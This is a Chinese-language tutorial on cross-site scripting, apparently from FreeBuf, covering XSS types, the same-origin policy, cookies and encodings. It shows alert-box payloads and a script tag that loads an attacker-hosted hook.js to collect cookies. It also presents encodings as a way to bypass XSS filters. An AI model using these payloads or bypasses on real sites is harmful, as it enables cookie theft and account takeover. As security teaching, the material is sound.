1. XSS介绍和危害
1.1 XSS介绍:
1. XSS 叫做跨站脚本攻击,是(Cross Site Scripting)的缩写;
#为了不和层叠样式表 (Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。
#恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
1.2 XSS产生的原因
1. 对用户端提交的数据没有过滤,或者过滤不严格.
2. 导致恶意代码输出到页面,并被当做JS代码解析;
1.3 危害
由于XSS是借助构造JS脚本来实现,所以JS可以完成的所有事情,都可以通过XSS来完成.比如:
1. 盗取用户cookie,仿冒用户身份执行非法操作;
2. 控制客户端主机执行一些”非正常”操作;
3. 在web网站进行XSS挂马;
4. 进行钓鱼操作等;
1.4 XSS出现场景
1.一些企业里的搜索框;
2.一些留言板;
3.个人信息修改页面;
4.任意可以输入的地方等;
2 同源策略
2.1 同源策略的意义
1.同源策略(Same-Origin Policy)
如果Web世界没有同源策略,当你登录FreeBuf账号并打开另一个站点时,这个站点上的JavaScript可以跨域读取你的FreeBuf账号数据,这样的话整个WEB世界就没有隐私而言。
2. 简单来说,同源策略是为了保证各个站点之间的安全性而设置的;
同源策略是各个浏览器厂商共同遵守的约定.
2.2 什么是同源策略
1. 如果两个URL的协议/域名和端口三者相同,那么我们称之为”同源”,也就是说,三个网站可以共用一个cookie来追踪用户信息.
2.至于cookie,可能有人不理解,这里简单介绍一下.
(1)cookie简单来说就是浏览器用来识别用户身份的.被保存在本地浏览器中.
(2)cookie应用:场景一—->记住密码
- 很多常见登录网站时,有”记住密码”的提示,实际就是以cookie的方式把用户名和密码存储在了浏览器中.下次直接登录就可以了.可想而知cookie的重要性,即使没有用户名密码,一旦cookie被盗取,也能盗用你的身份登录一些目标网站.
(3)cookie应用:场景二—>一个网站浏览不同页面
- 比如你平时登录淘宝,用户名为aaabbbccc,密码为1234567890,这时你想买个手机在浏览A页面,并登录你的信息.那么浏览器就是通过这个cookie字段来标识用户信息的.当你从页面A浏览页面B时,始终携带了cookie信息,这就是平时为什么只要一次登录淘宝账号,浏览页面开始到下单都不需要再重新登录的原因.
3.所以,同源策略一定程度上保证了互联网中各类资源的安全.
4.但是有一些特殊的标签不受同源策略的限制,比如:
<script>标签 <script src=http://www.a.com/jquery.js>
<img>标签 <img src=http://www.a.com/back.jpg>
<iframe>标签 <iframe src=”a.html”></iframe>
<link>标签 <link rel=”stylesheet” type=”text/css” href=”t.css” />
3 XSS分类
3.1 反射型XSS介绍
又称为非持久型XSS,又称为”非持久性XSS”,只有在用户点击时才会生效.
利用条件:攻击者把恶意代码插入到web服务器上,得到恶意URL; 该URL需要发送给客户端,并诱导客户端点击执行才能触发.
3.2 存储型XSS介绍
存储型XSS,又称持久型XSS,
它和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库或文件中.
特点: 一旦被存储在服务器端,任何浏览到该页面的人,都会触发xss漏洞.
利用条件: 插入到数据库中(一般留言板功能)
3.3 DOM型XSS介绍
DOM XSS可以理解为反射型XSS的一种;
DOM型XSS与反射型XSS和存储型XSS的差别是在于DOM XSS的代码不需要服务器解析响应的直接参与,触发XSS靠的是浏览器DOM解析器的解析,可以完全认为是客户端的事情。
DOM介绍:Document Object Model ,是一个平台和语言都中立的接口,可以实现程序或脚本能够动态访问和更新文档的内容/结构和样式.
DOM是一个树形结构的模型,可以编写JS代码实现对DOM节点的遍历/获取/修改等操作.
4 XSS原理介绍
4.1 反射型XSS原理
<script src=”10.0.0.1/hook.js”>
语句中src表示引入某个网站里(实际场景应为公网服务器用来收集cookie信息)的hook.js文件,hook.js里是一些恶意的代码.
这样写的好处是避免了大量恶意代码直接插入到页面,受到一些长度或解析限制;
功能代码全都在hook.js中(黑客自己的服务器),更好方便控制和修改.
4.2 存储型XSS原理
5 XSS漏洞可能存在的位置
1.根据在http请求中的不同位置
(1) GET型
(2) POST中
2.按照标签位置
(1)在html标签外:需要构造JS标签,不能构造就不存在漏洞.
<p>aaa <script>alert(111)</script>
</p>
(2)在html标签内:先闭合前边的属性,再构造事件进行弹框
<img src=”1” onclick=”alert(111)”>
<body onload=”javascript:alert(111)”>
3.说明:
这里测试用的是<script>alert(111)</script>可能有的同学说,不就是弹个1 吗?但是如果一旦把111缓存document.cookie就能获取cookie信息,其实结果是一样的.
6 常见的编码格式
1. URL编码:将不安全的字符使用URL方式传输; 比如%20(空格)
2. html编码:防止特殊字符比如<>对页面造成影响,一般以&开头,分号结果.
3. javascript编码:
- 三个八进制数字,如果不够个数,前面补0,例如“<”编码为“\074”
- 两个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\x3c”
- 四个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\u003c”
4.Base64编码
- 是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法.
- base64的作用:
对原始数据进行编码(再签名或者加密等再Base64传输),需要解码后才能阅读,增加了一定的安全性;
更方便数据的传输,例如二进制文件或图片等无法用字符直接传输;
防止一些特殊字符对原始数据的解析干扰
5.说明
这里介绍编码,并不是单纯介绍编码类型,而是为了进行XSS插入时,防止对关键字进行了过滤,可以通过以上方式进行转码绕过.
来源:freebuf.com 2020-07-20 00:16:28 by: zhijian
请登录后发表评论
注册